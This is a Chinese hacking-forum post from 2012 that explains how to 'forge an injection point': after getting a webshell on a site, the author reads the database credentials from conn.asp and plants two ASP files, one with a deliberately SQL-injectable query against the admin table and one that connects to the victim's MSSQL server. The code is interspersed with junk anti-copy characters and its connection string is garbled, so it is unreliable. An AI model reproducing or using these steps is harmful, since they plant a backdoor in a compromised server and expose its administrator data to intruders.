找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1852|回复: 0
打印 上一主题 下一主题

伪造注入点方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:53:08 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
' {# E& t. z/ s( S4 ~, V2 I$ JASP/Visual Basic代码: p' T( j' c. g
<!--#include file="xx.asp"-->   
- ]+ c- J, ~$ D  P<%   
8 ?7 W4 b$ B( s& {: @  fset rs=server.createobject("ADODB.recordset")   
9 i/ H! j' X) ]/ G! A7 |% ?id = request("id")    ( D/ D  ~* s8 _5 n& t
strSQL = "select * from admin where id=" & id   
9 B/ W- {/ g% ?1 Z5 Vrs.open strSQL,conn,1,3   
: @/ Q  x1 G5 D; m) ~rs.close   
" X& |6 w) J' k  b%>  
0 L% a- p# _7 X- I9 ]5 w4 s把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!$ O; j& Y9 j' m0 ]! O8 [; c! {( U
然后就要构造一个连接数据库的文件了,代码如下:
3 [% w: k2 l1 U+ ~ASP/Visual Basic代码
8 @* b" P0 T( w: H/ ~$ S<%            
1 I& L0 f% n1 A8 xstrSQLServerName = "000.000.000.000"     '服务器名称或地址    0 e* b3 v, K5 F/ A4 y9 b' Z5 \  \
strSQLDBUserName = "sqlname"         '数据库帐号    + u4 Z" Q  @& F( B2 `( a
strSQLDBPassword = "sqlpass"         '数据库密码    & w6 J2 ]: z/ G- K. w8 F1 D7 c
strSQLDBName = "sqldataname"           '数据库名称    % D8 Z) u. P# @/ U$ F9 _4 t9 ]- D
Set conn = Server.CreateObject("ADODB.Connection")    % e  W$ C/ R5 x0 H8 ]7 A& B1 y
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"   
  I( H& I! [& J3 @! `, M( d) Kconn.open strCon   
6 U% c4 G% n4 D2 |8 p+ A3 ]%>  # Q" R; ~4 a: O7 ]( R
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功; o( |9 s6 z  o7 v* b* u
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表